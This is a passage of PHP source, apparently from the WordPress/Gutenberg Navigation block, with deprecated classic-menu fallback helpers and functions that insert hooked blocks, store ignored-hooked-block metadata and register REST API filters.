return $classic_nav_menus[0];
}
}
/**
* Converts a classic navigation to blocks.
*
* @since 6.2.0
*
* @deprecated 6.3.0 Use WP_Navigation_Fallback::get_classic_menu_fallback_blocks() instead.
*
* @param object $classic_nav_menu WP_Term The classic navigation object to convert.
* @return array the normalized parsed blocks.
*/
function block_core_navigation_get_classic_menu_fallback_blocks( $classic_nav_menu ) {
_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_classic_menu_fallback_blocks' );
// BEGIN: Code that already exists in wp_nav_menu().
$menu_items = wp_get_nav_menu_items( $classic_nav_menu->term_id, array( 'update_post_term_cache' => false ) );
// Set up the $menu_item variables.
_wp_menu_item_classes_by_context( $menu_items );
$sorted_menu_items = array();
foreach ( (array) $menu_items as $menu_item ) {
$sorted_menu_items[ $menu_item->menu_order ] = $menu_item;
}
unset( $menu_items, $menu_item );
// END: Code that already exists in wp_nav_menu().
$menu_items_by_parent_id = array();
foreach ( $sorted_menu_items as $menu_item ) {
$menu_items_by_parent_id[ $menu_item->menu_item_parent ][] = $menu_item;
}
$inner_blocks = block_core_navigation_parse_blocks_from_menu_items(
isset( $menu_items_by_parent_id[0] )
? $menu_items_by_parent_id[0]
: array(),
$menu_items_by_parent_id
);
return serialize_blocks( $inner_blocks );
}
/**
* If there's a classic menu then use it as a fallback.
*
* @since 6.2.0
*
* @deprecated 6.3.0 Use WP_Navigation_Fallback::create_classic_menu_fallback() instead.
*
* @return array the normalized parsed blocks.
*/
function block_core_navigation_maybe_use_classic_menu_fallback() {
_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::create_classic_menu_fallback' );
// See if we have a classic menu.
$classic_nav_menu = block_core_navigation_get_classic_menu_fallback();
if ( ! $classic_nav_menu ) {
return;
}
// If we have a classic menu then convert it to blocks.
$classic_nav_menu_blocks = block_core_navigation_get_classic_menu_fallback_blocks( $classic_nav_menu );
if ( empty( $classic_nav_menu_blocks ) ) {
return;
}
// Create a new navigation menu from the classic menu.
$wp_insert_post_result = wp_insert_post(
array(
'post_content' => $classic_nav_menu_blocks,
'post_title' => $classic_nav_menu->name,
'post_name' => $classic_nav_menu->slug,
'post_status' => 'publish',
'post_type' => 'wp_navigation',
),
true // So that we can check whether the result is an error.
);
if ( is_wp_error( $wp_insert_post_result ) ) {
return;
}
// Fetch the most recently published navigation which will be the classic one created above.
return block_core_navigation_get_most_recently_published_navigation();
}
/**
* Finds the most recently published `wp_navigation` Post.
*
* @since 6.1.0
*
* @deprecated 6.3.0 Use WP_Navigation_Fallback::get_most_recently_published_navigation() instead.
*
* @return WP_Post|null the first non-empty Navigation or null.
*/
function block_core_navigation_get_most_recently_published_navigation() {
_deprecated_function( __FUNCTION__, '6.3.0', 'WP_Navigation_Fallback::get_most_recently_published_navigation' );
// Default to the most recently created menu.
$parsed_args = array(
'post_type' => 'wp_navigation',
'no_found_rows' => true,
'update_post_meta_cache' => false,
'update_post_term_cache' => false,
'order' => 'DESC',
'orderby' => 'date',
'post_status' => 'publish',
'posts_per_page' => 1, // get only the most recent.
);
$navigation_post = new WP_Query( $parsed_args );
if ( count( $navigation_post->posts ) > 0 ) {
return $navigation_post->posts[0];
}
return null;
}
/**
* Accepts the serialized markup of a block and its inner blocks, and returns serialized markup of the inner blocks.
*
* @since 6.5.0
*
* @param string $serialized_block The serialized markup of a block and its inner blocks.
* @return string
*/
function block_core_navigation_remove_serialized_parent_block( $serialized_block ) {
$start = strpos( $serialized_block, '-->' ) + strlen( '-->' );
$end = strrpos( $serialized_block, '<!--' );
return substr( $serialized_block, $start, $end - $start );
}
/**
* Mock a parsed block for the Navigation block given its inner blocks and the `wp_navigation` post object.
* The `wp_navigation` post's `_wp_ignored_hooked_blocks` meta is queried to add the `metadata.ignoredHookedBlocks` attribute.
*
* @since 6.5.0
*
* @param array $inner_blocks Parsed inner blocks of a Navigation block.
* @param WP_Post $post `wp_navigation` post object corresponding to the block.
*
* @return array the normalized parsed blocks.
*/
function block_core_navigation_mock_parsed_block( $inner_blocks, $post ) {
$attributes = array();
if ( isset( $post->ID ) ) {
$ignored_hooked_blocks = get_post_meta( $post->ID, '_wp_ignored_hooked_blocks', true );
if ( ! empty( $ignored_hooked_blocks ) ) {
$ignored_hooked_blocks = json_decode( $ignored_hooked_blocks, true );
$attributes['metadata'] = array(
'ignoredHookedBlocks' => $ignored_hooked_blocks,
);
}
}
$mock_anchor_parent_block = array(
'blockName' => 'core/navigation',
'attrs' => $attributes,
'innerBlocks' => $inner_blocks,
'innerContent' => array_fill( 0, count( $inner_blocks ), null ),
);
return $mock_anchor_parent_block;
}
/**
* Insert hooked blocks into a Navigation block.
*
* Given a Navigation block's inner blocks and its corresponding `wp_navigation` post object,
* this function inserts hooked blocks into it, and returns the serialized inner blocks in a
* mock Navigation block wrapper.
*
* If there are any hooked blocks that need to be inserted as the Navigation block's first or last
* children, the `wp_navigation` post's `_wp_ignored_hooked_blocks` meta is checked to see if any
* of those hooked blocks should be exempted from insertion.
*
* @since 6.5.0
*
* @param array $inner_blocks Parsed inner blocks of a Navigation block.
* @param WP_Post $post `wp_navigation` post object corresponding to the block.
* @return string Serialized inner blocks in mock Navigation block wrapper, with hooked blocks inserted, if any.
*/
function block_core_navigation_insert_hooked_blocks( $inner_blocks, $post ) {
$mock_navigation_block = block_core_navigation_mock_parsed_block( $inner_blocks, $post );
if ( function_exists( 'apply_block_hooks_to_content' ) ) {
$mock_navigation_block_markup = serialize_block( $mock_navigation_block );
return apply_block_hooks_to_content( $mock_navigation_block_markup, $post, 'insert_hooked_blocks' );
}
$hooked_blocks = get_hooked_blocks();
$before_block_visitor = null;
$after_block_visitor = null;
if ( ! empty( $hooked_blocks ) || has_filter( 'hooked_block_types' ) ) {
$before_block_visitor = make_before_block_visitor( $hooked_blocks, $post, 'insert_hooked_blocks' );
$after_block_visitor = make_after_block_visitor( $hooked_blocks, $post, 'insert_hooked_blocks' );
}
return traverse_and_serialize_block( $mock_navigation_block, $before_block_visitor, $after_block_visitor );
}
/**
* Insert ignoredHookedBlocks meta into the Navigation block and its inner blocks.
*
* Given a Navigation block's inner blocks and its corresponding `wp_navigation` post object,
* this function inserts ignoredHookedBlocks meta into it, and returns the serialized inner blocks in a
* mock Navigation block wrapper.
*
* @since 6.5.0
*
* @param array $inner_blocks Parsed inner blocks of a Navigation block.
* @param WP_Post $post `wp_navigation` post object corresponding to the block.
* @return string Serialized inner blocks in mock Navigation block wrapper, with hooked blocks inserted, if any.
*/
function block_core_navigation_set_ignored_hooked_blocks_metadata( $inner_blocks, $post ) {
$mock_navigation_block = block_core_navigation_mock_parsed_block( $inner_blocks, $post );
$hooked_blocks = get_hooked_blocks();
$before_block_visitor = null;
$after_block_visitor = null;
if ( ! empty( $hooked_blocks ) || has_filter( 'hooked_block_types' ) ) {
$before_block_visitor = make_before_block_visitor( $hooked_blocks, $post, 'set_ignored_hooked_blocks_metadata' );
$after_block_visitor = make_after_block_visitor( $hooked_blocks, $post, 'set_ignored_hooked_blocks_metadata' );
}
return traverse_and_serialize_block( $mock_navigation_block, $before_block_visitor, $after_block_visitor );
}
/**
* Updates the post meta with the list of ignored hooked blocks when the navigation is created or updated via the REST API.
*
* @access private
* @since 6.5.0
*
* @param stdClass $post Post object.
* @return stdClass The updated post object.
*/
function block_core_navigation_update_ignore_hooked_blocks_meta( $post ) {
/*
* In this scenario the user has likely tried to create a navigation via the REST API.
* In which case we won't have a post ID to work with and store meta against.
*/
if ( empty( $post->ID ) ) {
return $post;
}
/**
* Skip meta generation when consumers intentionally update specific Navigation fields
* and omit the content update.
*/
if ( ! isset( $post->post_content ) ) {
return $post;
}
/*
* We run the Block Hooks mechanism to inject the `metadata.ignoredHookedBlocks` attribute into
* all anchor blocks. For the root level, we create a mock Navigation and extract them from there.
*/
$blocks = parse_blocks( $post->post_content );
/*
* Block Hooks logic requires a `WP_Post` object (rather than the `stdClass` with the updates that
* we're getting from the `rest_pre_insert_wp_navigation` filter) as its second argument (to be
* used as context for hooked blocks insertion).
* We thus have to look it up from the DB,based on `$post->ID`.
*/
$markup = block_core_navigation_set_ignored_hooked_blocks_metadata( $blocks, get_post( $post->ID ) );
$root_nav_block = parse_blocks( $markup )[0];
$ignored_hooked_blocks = isset( $root_nav_block['attrs']['metadata']['ignoredHookedBlocks'] )
? $root_nav_block['attrs']['metadata']['ignoredHookedBlocks']
: array();
if ( ! empty( $ignored_hooked_blocks ) ) {
$existing_ignored_hooked_blocks = get_post_meta( $post->ID, '_wp_ignored_hooked_blocks', true );
if ( ! empty( $existing_ignored_hooked_blocks ) ) {
$existing_ignored_hooked_blocks = json_decode( $existing_ignored_hooked_blocks, true );
$ignored_hooked_blocks = array_unique( array_merge( $ignored_hooked_blocks, $existing_ignored_hooked_blocks ) );
}
update_post_meta( $post->ID, '_wp_ignored_hooked_blocks', json_encode( $ignored_hooked_blocks ) );
}
$post->post_content = block_core_navigation_remove_serialized_parent_block( $markup );
return $post;
}
/*
* Before adding our filter, we verify if it's already added in Core.
* However, during the build process, Gutenberg automatically prefixes our functions with "gutenberg_".
* Therefore, we concatenate the Core's function name to circumvent this prefix for our check.
*/
$rest_insert_wp_navigation_core_callback = 'block_core_navigation_' . 'update_ignore_hooked_blocks_meta'; // phpcs:ignore Generic.Strings.UnnecessaryStringConcat.Found
/*
* Do not add the `block_core_navigation_update_ignore_hooked_blocks_meta` filter in the following cases:
* - If Core has added the `update_ignored_hooked_blocks_postmeta` filter already (WP >= 6.6);
* - or if the `$rest_insert_wp_navigation_core_callback` filter has already been added.
*/
if (
! has_filter( 'rest_pre_insert_wp_navigation', 'update_ignored_hooked_blocks_postmeta' ) &&
! has_filter( 'rest_pre_insert_wp_navigation', $rest_insert_wp_navigation_core_callback )
) {
add_filter( 'rest_pre_insert_wp_navigation', 'block_core_navigation_update_ignore_hooked_blocks_meta' );
}
/**
* Hooks into the REST API response for the core/navigation block and adds the first and last inner blocks.
*
* @since 6.5.0
*
* @param WP_REST_Response $response The response object.
* @param WP_Post $post Post object.
* @return WP_REST_Response The response object.
*/
function block_core_navigation_insert_hooked_blocks_into_rest_response( $response, $post ) {
if ( ! isset( $response->data['content']['raw'] ) || ! isset( $response->data['content']['rendered'] ) ) {
return $response;
}
$parsed_blocks = parse_blocks( $response->data['content']['raw'] );
$content = block_core_navigation_insert_hooked_blocks( $parsed_blocks, $post );
// Remove mock Navigation block wrapper.
$content = block_core_navigation_remove_serialized_parent_block( $content );
$response->data['content']['raw'] = $content;
/** This filter is documented in wp-includes/post-template.php */
$response->data['content']['rendered'] = apply_filters( 'the_content', $content );
return $response;
}
/*
* Before adding our filter, we verify if it's already added in Core.
* However, during the build process, Gutenberg automatically prefixes our functions with "gutenberg_".
* Therefore, we concatenate the Core's function name to circumvent this prefix for our check.
*/
$rest_prepare_wp_navigation_core_callback = 'block_core_navigation_' . 'insert_hooked_blocks_into_rest_response';
/*
* Do not add the `block_core_navigation_insert_hooked_blocks_into_rest_response` filter in the following cases:
* - If Core has added the `insert_hooked_blocks_into_rest_response` filter already (WP >= 6.6);
* - or if the `$rest_prepare_wp_navigation_core_callback` filter has already been added.
*/
if (
! has_filter( 'rest_prepare_wp_navigation', 'insert_hooked_blocks_into_rest_response' ) &&
! has_filter( 'rest_prepare_wp_navigation', $rest_prepare_wp_navigation_core_callback )
) {
add_filter( 'rest_prepare_wp_navigation', 'block_core_navigation_insert_hooked_blocks_into_rest_response', 10, 3 );
}